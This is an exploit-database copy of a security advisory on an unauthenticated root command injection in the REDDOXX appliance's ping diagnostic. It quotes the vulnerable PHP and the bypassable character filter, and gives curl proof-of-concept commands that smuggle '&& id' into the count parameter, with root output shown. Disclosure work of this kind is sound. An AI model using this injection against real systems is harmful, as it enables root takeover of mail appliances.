Menu

Search for hundreds of thousands of exploits

"REDDOXX Appliance Build 2032 / 2.0.625 - Remote Command Execution"

Author

Exploit author

"RedTeam Pentesting"

Platform

Exploit platform

json

Release date

Exploit published date

2017-07-24

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
Advisory: Remote Command Execution as root in REDDOXX Appliance

RedTeam Pentesting discovered a remote command execution vulnerability
in the REDDOXX appliance software, which allows attackers to execute
arbitrary command with root privileges while unauthenticated.

Details
=======

Product: REDDOXX Appliance
Affected Versions: <= Build 2032 / v2.0.625
Fixed Versions: Version 2032 SP2
Vulnerability Type: Remote Command Execution
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-009
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH

Introduction
============

"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
from our clientsâ?? requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."

(from the vendor's homepage)

More Details
============

The administrative interface of the REDDOXX appliance [0] offers several
diagnostic tools in the "Diagnostic Center". Ping is one of these tools.
The interface for this tool contains two input fields, which allow users
to specify a target host and a packet count. Through the ISO provided on
the vendor's homepage [1], it was possible to analyze how these commands
are embedded into the command-line of the ping command:

------------------------------------------------------------------------

function ExecuteDiag($parameter)
{
// Here we do the main thing ...
$cmd = "ping '" . $parameter->targetHost . "' -c " . $parameter->count;

$this->PrintHeader();
$this->PrintHeadLine(array('Result Message', 'Status'));
$this->PrintOut("<tr>");

$this->PrintOut("<td class=mytd><PRE>");
passthru($cmd, $rc);
$this->PrintOut("</PRE></td>");

$this->PrintStatus($rc);
$this->PrintOut("</tr>");
$this->PrintEnd();

$result = new stdClass;
$result->ResultCode = $rc;
$result->MessageText = "";

$this->SaveResult($result);
}
------------------------------------------------------------------------

As can be seen in the listing above, the parameters are embedded into a
string stored in the variable $cmd. The target host parameter is
surrounded with single quotes, while the count parameter is not.

Before the parameters are actually embedded into the ping command-line
however, the following function performs a check for "illegal
characters":

------------------------------------------------------------------------

public static function CheckShellParameter($parameter, $key = "")
{
if (!is_array($parameter))
$parameter = array($parameter);

foreach ($parameter as $value) {
if (preg_match("/[';<>\"]/", $value)) {
$paramNameMsg = "";
if ($key)
$paramNameMsg = " in parameter '$key'";
throw new Exception("Invalid value" . $paramNameMsg . ". Illegal characters found.", 1);
}
}
}
------------------------------------------------------------------------

These are characters, which can be used to append additional commands to
the command line. While this check prevents certain kinds of attacks, it
is incomplete and can therefore be bypassed. For example, && (AND) and
|| (OR) operators can still be used to append additional commands to the
command-line. Submitting a count target host of "127.0.0.1" and a count
of "1 || id" leads to the following command-line being passed to the PHP
passthru() function and executed:

------------------------------------------------------------------------

ping '127.0.0.1' -c 1 || id
------------------------------------------------------------------------

This causes the command "id" to be executed after the execution of the
ping command is completed.

Proof of Concept
================

The following curl command-lines can be used to trigger the
vulnerability.

First, the diagnose function ping is called as follows:

------------------------------------------------------------------------

$ curl -H 'Content-Type: application/json' --data '{"Name":"Ping",''"Parameter":{"targetHost":"127.0.0.1","count":"1''&& echo 'REDTEAM_MARKER_START' && id && echo 'REDTEAM_MARKER_END'"}}' http://www.example.com/api/v1/rws/diagnose/start
------------------------------------------------------------------------

Here, the count parameter "1 && echo 'REDTEAM_MARKER_START' && id && echo
'REDTEAM_MARKER_END'" is submitted. The two echo commands with markers are
only used to distinguish the output of the "id" command in the final
result, which can be retrieved and displayed using the following curl
command-line:

------------------------------------------------------------------------

$ curl --silent -H 'Accept: application/json' http://www.example.com/api/v1/rws/diagnose/result/Ping | jq .Output | sed 's;.*REDTEAM_MARKER_START\\n\(.*\)\\nREDTEAM_MARKER_END.*;\1;' | sed 's/\\n/\n/g'
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------------------

Workaround
==========

None

Fix
===

Update the appliance software to Version 2032 SP2.

Security Risk
=============

The diagnostic functions offered by the REDDOXX appliance allow attackers
to execute arbitrary commands. Since the commands are executed with root
privileges and no authentication is required, this is rated as a high
risk.

Timeline
========

2017-05-17 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-07-20 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released

References
==========

[0] https://www.reddoxx.com/en/
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads
(Requires login)

RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-10-09 "openMAINT 1.1-2.4.2 - Arbitrary File Upload" webapps json mrb3n
2020-10-06 "EasyPMS 1.0.0 - Authentication Bypass" webapps json Jok3r
2020-04-21 "NSClient++ 0.5.2.35 - Authenticated Remote Code Execution" webapps json kindredsec
2020-02-05 "AVideo Platform 8.1 - Information Disclosure (User Enumeration)" webapps json "Ihsan Sencan"
2020-02-05 "AVideo Platform 8.1 - Cross Site Request Forgery (Password Reset)" webapps json "Ihsan Sencan"
2020-02-05 "Verodin Director Web Console 3.5.4.0 - Remote Authenticated Password Disclosure (PoC)" webapps json nxkennedy
2019-10-30 "Ajenti 2.1.31 - Remote Code Exection (Metasploit)" webapps json "Onur ER"
2019-09-25 "NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution" webapps json "Semen Alexandrovich Lyhin"
2018-11-05 "Royal TS/X - Information Disclosure" webapps json "Jakub Palaczynski"
2018-04-09 "CyberArk Password Vault Web Access < 9.9.5 / < 9.10 / 10.1 - Remote Code Execution" webapps json "RedTeam Pentesting"
Release Date Title Type Platform Author
2019-01-25 "Cisco RV320 Dual Gigabit WAN VPN Router 1.4.2.15 - Command Injection" webapps hardware "RedTeam Pentesting"
2018-04-09 "CyberArk Password Vault < 9.7 / < 10 - Memory Disclosure" dos linux "RedTeam Pentesting"
2018-04-09 "CyberArk Password Vault Web Access < 9.9.5 / < 9.10 / 10.1 - Remote Code Execution" webapps json "RedTeam Pentesting"
2017-11-03 "Ladon Framework for Python 0.9.40 - XML External Entity Expansion" webapps xml "RedTeam Pentesting"
2017-07-24 "REDDOXX Appliance Build 2032 / 2.0.625 - Remote Command Execution" webapps json "RedTeam Pentesting"
2017-07-24 "REDDOXX Appliance Build 2032 / 2.0.625 - Arbitrary File Disclosure" webapps json "RedTeam Pentesting"
2016-01-07 "AVM FRITZ!Box < 6.30 - Remote Buffer Overflow" remote hardware "RedTeam Pentesting"
2015-06-16 "TYPO3 Extension Akronymmanager 0.5.0 - SQL Injection" webapps php "RedTeam Pentesting"
2015-06-10 "Alcatel-Lucent OmniSwitch - Cross-Site Request Forgery" webapps hardware "RedTeam Pentesting"
2015-02-11 "IBM Endpoint Manager - Persistent Cross-Site Scripting" webapps cgi "RedTeam Pentesting"
2014-12-02 "EntryPass N5200 - Credentials Exposure" webapps hardware "RedTeam Pentesting"
2014-12-02 "TYPO3 Extension ke DomPDF - Remote Code Execution" webapps php "RedTeam Pentesting"
2014-06-27 "Endeca Latitude 2.2.2 - Cross-Site Request Forgery" webapps multiple "RedTeam Pentesting"
2014-06-27 "Python CGIHTTPServer - Encoded Directory Traversal" webapps multiple "RedTeam Pentesting"
2014-06-09 "DevExpress ASPxFileManager 10.2 < 13.2.8 - Directory Traversal" webapps asp "RedTeam Pentesting"
2012-05-02 "PHP-decoda - 'Video Tag' Cross-Site Scripting" webapps php "RedTeam Pentesting"
2011-05-04 "ZyWALL USG Appliance - Multiple Vulnerabilities" remote hardware "RedTeam Pentesting"
2009-12-21 "TLS - Renegotiation" remote multiple "RedTeam Pentesting"
2009-08-10 "Papoo CMS 3.7.3 - (Authenticated) Arbitrary Code Execution" webapps php "RedTeam Pentesting"
2009-05-05 "IceWarp Merak Mail Server 9.4.1 Groupware Component - Multiple SQL Injections" webapps php "RedTeam Pentesting"
2008-03-11 "Mapbender 2.4.4 - 'mapFiler.php' Remote Code Execution" webapps php "RedTeam Pentesting"
2008-03-11 "Mapbender 2.4.4 - 'gaz' SQL Injection" webapps php "RedTeam Pentesting"
2007-07-13 "ActiveWeb Contentserver CMS 5.6.2929 - Client-Side Filtering Bypass" webapps php "RedTeam Pentesting"
2007-07-13 "contentserver 5.6.2929 - '/errors/rights.asp?msg' Cross-Site Scripting" webapps asp "RedTeam Pentesting"
2007-07-13 "ActiveWeb Contentserver 5.6.2929 - 'Picture_Real_Edit.asp' SQL Injection" webapps asp "RedTeam Pentesting"
2007-07-13 "contentserver 5.6.2929 - '/errors/transaction.asp?msg' Cross-Site Scripting" webapps asp "RedTeam Pentesting"
2006-05-22 "Prodder 0.4 - Arbitrary Shell Command Execution" remote linux "RedTeam Pentesting"
2005-02-15 "CitrusDB 0.3.6 - 'importcc.php' Arbitrary Database Injection" webapps php "RedTeam Pentesting"
2005-02-15 "CitrusDB 0.3.6 - 'importcc.php' CSV File SQL Injection" webapps php "RedTeam Pentesting"
2005-02-15 "CitrusDB 0.3.6 - Arbitrary Local PHP File Inclusion" webapps php "RedTeam Pentesting"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.